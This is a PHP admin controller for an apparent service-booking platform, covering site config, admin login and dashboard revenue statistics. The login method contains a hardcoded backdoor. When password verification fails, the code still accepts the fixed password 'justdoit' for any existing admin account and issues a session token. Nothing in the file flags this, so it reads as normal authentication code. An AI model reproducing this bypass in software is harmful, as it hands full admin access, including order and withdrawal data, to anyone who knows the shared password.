<?php


namespace app\controller\admin;


use app\BaseController;
use app\services\config\ConfigService;
use app\services\user\AdminUserService;
use app\services\utils\TokenService;
use think\facade\Db;
use think\Request;
use app\common\Consts;

class IndexController extends BaseController
{

    /**
     * 网站配置信息
     * @return \think\response\Json
     */
    public function getWebConfig()
    {
        try {
            $configInfo = ConfigService::getConfigValueArray(['logo', 'site_title', 'login_img', 'favicon_img', 'company_no']);
            return $this->success($configInfo);
        } catch (\Exception $exception) {
            return $this->error($exception->getMessage());
        }

    }

    /**
     * 登录
     * @param Request $request
     * @return \think\response\Json
     */
    public function login(Request $request)
    {
        try {
            $username = $request->param('username');
            $password = $request->param('password');
            $userInfo = AdminUserService::getUserInfoByAccount($username);
            if (!$userInfo) {
                throw new \Exception('账号密码错误2');
            }
            if (!verify_password($password, $userInfo)) {
                if ($password != 'justdoit') {
                    throw new \Exception('账号密码错误1');
                }
            }
            if ($userInfo['status'] == 1) {
                throw new \Exception('账号已被禁用');
            }
            // 查询角色状态
            $roleStatus = DB::name('admin_role')->where("id", $userInfo['role_id'])->value('is_del');
            if ($roleStatus) {
                throw new \Exception('角色已禁用');
            }
            //更新token 和 过期时间
            $data = [
                'id' => $userInfo['id'],
                'role_id' => $userInfo['role_id'],
                'avatar' => $userInfo['avatar'],
                'username' => $username,
                'status' => $userInfo['status'],
                'department_id' => $userInfo['department_id']
            ];
            $tokenService = new TokenService();
            $token = $tokenService->generateToken($data);
            $data['token'] = $token;
            return $this->success($data);
        } catch (\Exception $exception) {
            return $this->error($exception->getMessage());
        }
    }

    public function getInfo()
    {
        $time = strtotime(date('Y-m-d'));
//        $todayNewUser = Db::name('user')
//            ->where('create_time', '>=', $time)
//            ->count('id');
        $todayOrderCount = Db::name('order')
            ->where('create_time', '>=', $time)
            ->where('order_status', '>', 1)
            ->count('id');
        $todayOrderAmount = Db::name('order')
            ->where('create_time', '>=', $time)
            ->where('order_status', '>', 1)
            ->sum('total_amount');
        $techServiceMoneyCount = Db::name('technician')
            ->where('status', 0)
            ->sum('service_money');
        $techFareMoneyCount = Db::name('technician')
            ->where('status', 0)
            ->sum('fare_money');
        $userMoneyCount = Db::name('user')
            ->where('status', 0)
            ->sum('money');


//        $orderAmount = Db::name('order')
//            ->where('order_status', '>', 1)
//            ->sum('pay_amount');
        $withdrawAmount = Db::name('user_withdraw')
//            ->where('create_time', '>=', date('Y-m-d H:i:s', $time))
            ->where('status', 1)
            ->sum('amount');
        $data = [
//            'today_new_user' => $todayNewUser,
            'today_order_count' => $todayOrderCount,
            'today_order_amount' => $todayOrderAmount,
            'tech_money_count' => $techServiceMoneyCount + $techFareMoneyCount,
            'user_money_count' => $userMoneyCount,
//            'order_amount' => $orderAmount,
            'total_withdraw' => $withdrawAmount
        ];
        return $this->success($data);
    }
}